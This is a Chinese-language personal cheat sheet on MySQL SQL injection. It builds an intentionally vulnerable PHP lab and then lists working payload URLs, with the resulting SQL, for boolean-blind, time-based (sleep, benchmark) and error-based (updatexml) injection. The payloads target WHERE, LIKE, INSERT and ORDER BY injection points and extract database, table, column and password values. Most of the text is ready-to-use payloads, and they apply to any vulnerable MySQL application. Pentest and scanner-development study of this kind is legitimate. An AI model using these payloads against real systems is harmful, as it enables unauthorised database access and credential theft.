SQL注入笔记
只是一个针对与MySQL的SQL注入笔记,便于我之后速查,和扫描器优化,年龄大了总是忘记东西,得整点详细点系统性的速查笔记。
理论&环境
测试环境
ubuntu20+mysql8.0+php7.4
SQL注入分类:
- 报错注入
- 盲注
- 延时注入
以及因为SQL语法的拼接和注入点的位置分为:
- where注入
- like注入
- insert/update
- order by
- 以及其他位置处SQL语句拼接
库名:example_vul
建表
CREATE TABLE `user`
( id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(50) NOT NULL,
password VARCHAR(50) NOT NULL,
PRIMARY KEY ( `id` )
) ENGINE=InnoDB DEFAULT CHARSET=utf8;;
INSERT INTO `user` ( name, password ) VALUES ( 'admin', 'admin123');
INSERT INTO `user` ( name, password ) VALUES ( 'user', 'user123');
php代码
<?php
//数据库连接
ini_set("display_errors", "On"); //报错显示
error_reporting(E_ALL | E_STRICT);
//http://192.168.72.6/example_vul/2.php
$con = mysqli_connect('localhost', 'debian-sys-maint', 'aaaa','example_vul');
if (!$con) {
die('Could not connect: ' . mysqli_error());
}
$method=$_GET['method'];
if($method=='where_int'){
//where数字型注入
//http://192.168.72.6/example_vul/2.php?method=where_int&id=1
$id=$_GET['id'];
$query = "SELECT * FROM user where id =$id";
$result = $con->query($query) or die( '<pre>database error... </pre>' );
while( $row = mysqli_fetch_assoc( $result ) ) {
$data=array("id"=> $row['id'],"name"=> $row['name']);
}
echo json_encode($data);
}elseif($method=='like'){
//like类型注入
//http://192.168.72.6/example_vul/2.php?method=like&name=a
$name=$_GET['name'];
$query = "SELECT * FROM `user` where name LIKE '%$name%'";
$result = $con->query($query) or die( '<pre>database error... </pre>' );
while( $row = mysqli_fetch_assoc( $result ) ) {
$data=array("id"=> $row['id'],"name"=> $row['name']);
}
echo json_encode($data);
}elseif($method=='insert'){
//insert类型注入
//http://192.168.72.6/example_vul/2.php?method=insert&password=aaaaaaa
$password=$_GET['password'];
$query = "INSERT INTO user ( name, password ) VALUES ( 'user', '$password' );";
$result = $con->query($query) or die( '<pre>database error... </pre>' );
echo 'insert ok!';
}elseif($method=='order_by'){
//order by类型注入
//http://192.168.72.6/example_vul/2.php?method=order_by&order=asc
$order=$_GET['order'];
$query = "SELECT * FROM `user` order by name $order";
$result = $con->query($query) or die( '<pre>database error... </pre>' );
while( $row = mysqli_fetch_assoc( $result ) ) {
$data=array("id"=> $row['id'],"name"=> $row['name']);
}
echo json_encode($data);
}elseif($method=='where_string'){
//where字符型注入
//http://192.168.72.6/example_vul/2.php?method=where_string&name=admin
$name=$_GET['name'];
$query = "SELECT * FROM user where name ='$name'";
$result = $con->query($query) or die( '<pre>database error... </pre>' );
while( $row = mysqli_fetch_assoc( $result ) ) {
$data=array("id"=> $row['id'],"name"=> $row['name']);
}
echo json_encode($data);
}elseif($method=='where'){
//where报错注入
//http://192.168.72.6/example_vul/2.php?method=where&id=1
$id=$_GET['id'];
$query = "SELECT * FROM user where id =$id";
$result = $con->query($query) or die( 'error: '. $con -> error );;
while( $row = mysqli_fetch_assoc( $result ) ) {
//$data=array("id"=> $row['id'],"name"=> $row['name']);
echo $row['id']."<br>";
echo $row['name'];
}
//echo json_encode($data);
}
出数据
- 按照实战需求,要搞到数据列password的数据。
- 按照挖SRC标准规定,要搞到表名。
- 按照扫描器的需求,是要完成一次判断,异常和异常闭合来确认漏洞存在。
盲注步骤
- 判断是否为sql注入
- 获得数据库名
- 通过数据库名获得表名
- 通过表名得到列名
- 再通过列名,得到数据。
所以目标清晰,开搞!
where数字型注入
- 判断是否为sql注入:
http://192.168.72.6/example_vul/2.php?method=where_int&id=1
对应执行的sql语句: SELECT * FROM user where id =1
http://192.168.72.6/example_vul/2.php?method=where_int&id=1-1 等于false
对应执行的sql语句: SELECT * FROM user where id =1-1
http://192.168.72.6/example_vul/2.php?method=where_int&id=1-0 等于true
对应执行的sql语句: SELECT * FROM user where id =1-0
- 判断数据库名长度length(database())
http://192.168.72.6/example_vul/2.php?method=where_int&id=1 and if(length(database())=11,1,exp(11111111111111))
对应执行的sql语句: SELECT * FROM user where id =1 and if(length(database())=11,1,exp(11111111111111))
- 获取数据库名,database()的值example_vul http://192.168.72.6/example_vul/2.php?method=where_int&id=1 and if(database() regexp '^e',1,exp(11111111111111))
通过burp intruder的功能,穷举遍历database()的值,之后的表名、列名、数据,都是如此。
http://192.168.72.6/example_vul/2.php?method=where_int&id=1 and if(database() regexp '^example_vul',1,exp(11111111111111))
对应执行的sql语句: SELECT * FROM user where id =1 and if(database() regexp '^example_vul',1,exp(11111111111111))
- 获取表名 regexp '^user'
http://192.168.72.6/example_vul/2.php?method=where_int&id=1 and if((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='example_vul' limit 2,1) regexp '^user',1,exp(11111111111111))
对应执行的sql语句: SELECT * FROM user where id =1 and if((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='example_vul' limit 2,1) regexp '^user',1,exp(11111111111111))
- 获取列名 regexp '^password' http://192.168.72.6/example_vul/2.php?method=where_int&id=1 and if((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'user' limit 2,1) regexp '^password',1,exp(11111111111111)) 对应执行的sql语句: SELECT * FROM user where id =1 and if((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'user' limit 2,1) regexp '^password',1,exp(11111111111111));
- 获取数据 '^admin123' http://192.168.72.6/example_vul/2.php?method=where_int&id=1 and if((select password from user limit 0,1) regexp '^admin123',1,exp(11111111111111)) 对应执行的sql语句: SELECT * FROM user where id =1 and if((select password from user limit 0,1) regexp '^admin123',1,exp(11111111111111))
like类型注入
相比于where就只是拼接的语句不一样。
- 判断是否为注入
http://192.168.72.6/example_vul/2.php?method=like&name=a
http://192.168.72.6/example_vul/2.php?method=like&name=a' 等于false
http://192.168.72.6/example_vul/2.php?method=like&name=a%'and'1 等于true
- 获取表名 regexp '^user' http://192.168.72.6/example_vul/2.php?method=like&name=a%'and if((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='example_vul' limit 2,1) regexp '^user',1,exp(11111111111111)) and'1 对应执行的sql语句: SELECT * FROM user where name LIKE '%a* %'and if((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='example_vul' limit 2,1) regexp '^user',1,exp(11111111111111)) and'1 ';
- 获取数据 '^admin123'
http://192.168.72.6/example_vul/2.php?method=like&name=a%'and if((select password from user limit 0,1) regexp '^admin123',1,exp(11111111111111)) and'1
对应执行的sql语句: SELECT * FROM user where name LIKE '%a%'and if((select password from user limit 0,1) regexp '^admin123',1,exp(11111111111111)) and'1';
insert类型注入,update/delete 同理
在insert盲注时 select查询同一个表时会出现You can’t specify target table ‘message’ for update in FROM clause,所以payload要改下,解决方法:select的结果再通过一个中间表select多一次,就可以避免这个错误。
http://192.168.72.6/example_vul/2.php?method=insert&password=aaaaaaa 替换参数值进行注入
- 判断是否为注入 http://192.168.72.6/example_vul/2.php?method=insert&password=1'and a and' 等于false
http://192.168.72.6/example_vul/2.php?method=insert&password=1'and 1 and' 等于true
- 获取数据 '^admin123'
http://192.168.72.6/example_vul/2.php?method=insert&password=11'and if((select password from (SELECT password FROM user) as aaaaaa limit 0,1) regexp '^admin123',1,exp(11111111111111)) and'
对应执行的sql语句: INSERT INTO user ( name, password ) VALUES ( 'user', '1'and if((select password from (SELECT password FROM user) as aaaaaa limit 0,1) regexp '^admin123',1,exp(11111111111111)) and'' );
order by类型注入
http://192.168.72.6/example_vul/2.php?method=order_by&order=asc 替换参数值进行注入
- 判断是否为注入 http://192.168.72.6/example_vul/2.php?method=order_by&order=asc,333333333333 等于false http://192.168.72.6/example_vul/2.php?method=order_by&order=asc,1 等于true
- 获取数据 '^admin123'
http://192.168.72.6/example_vul/2.php?method=order_by&order=,if((select password from user limit 0,1) regexp '^admin123',1,exp(11111111111111)) asc
对应执行的sql语句: SELECT * FROM
user
order by name ,if((select password from user limit 0,1) regexp '^admin123',1,exp(11111111111111)) asc;
where字符型注入
之前都是if判断,这次用下case when 1 then 1 else exp(111111) end
http://192.168.72.6/example_vul/2.php?method=where_string&name=admin
- 判断是否为注入 http://192.168.72.6/example_vul/2.php?method=where_string&name=admin'axd'999999 等于false
http://192.168.72.6/example_vul/2.php?method=where_string&name=admin'and'999999 等于true
- 获取数据 '^admin123' http://192.168.72.6/example_vul/2.php?method=where_string&name=admin' and case when (select password from user limit 0,1) regexp '^admin123' then 1 else exp(1111111111111) end and'1 对应执行的sql语句: SELECT * FROM user where name ='admin' and case when (select password from user limit 0,1) regexp '^admin123' then 1 else exp(1111111111111) end and'1';
延时注入,因为没有回显,没有响应内容所以不能布尔型盲注,就需要用到延时注入,只需要替换exp()这个函数改为,sleep(3)或者benchmark(10000000,sha(1)) ,通过响应时间作为参考,来进行SQL注入。
报错注入,通过一些函数,直接出数据,不在需要穷举来判断。
http://192.168.72.6/example_vul/2.php?method=where&id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
http://192.168.72.6/example_vul/2.php?method=where&id=1 and updatexml(1,concat(0x7e,(select password from user limit 0,1),0x7e),1)
相关文章
- 数据分析sql面试必会6题经典_数据分析师SQL面试必备50题[通俗易懂]
- SQL注入、占位符拼接符
- Web安全原理剖析(四)——报错注入攻击[通俗易懂]
- 【Groovy】MOP 元对象协议与元编程 ( 方法注入 | 使用 MetaClass 进行方法注入普通方法 )
- SQL开发知识:Sql注入原理简介
- Oracle 锁定 SQL:保护安全性(oracle锁sql)
- 防止mysql SQL注入攻击的措施(Mysql的sql注入)
- 如何使用MySQL导出SQL语句?(mysql导出sql语句)
- 如何防范SQL注入攻击:MySQL的几种安全策略(sql注入mysql)
- sql 注入MSSQL防止SQL注入:强力防护的关键步骤(mssql阻止)
- MSSQL实现SQL注入防护的完美解决方案(mssql 防sql注入)
- Oracle通过SQL脚本实现快速操作(oracle执行sql脚本)
- SQL玩转MySQL,数据库操作简单易学(mysql中使用sql)
- Oracle中学习SQL语句的有效技巧(oracle中sql代码)
- asp实现对SQL注入危险字符进行重编码处理的函数
- ASP也使用ORM,给ASP上所有的SQL注入画上句号
- 三步堵死SQLServer注入漏洞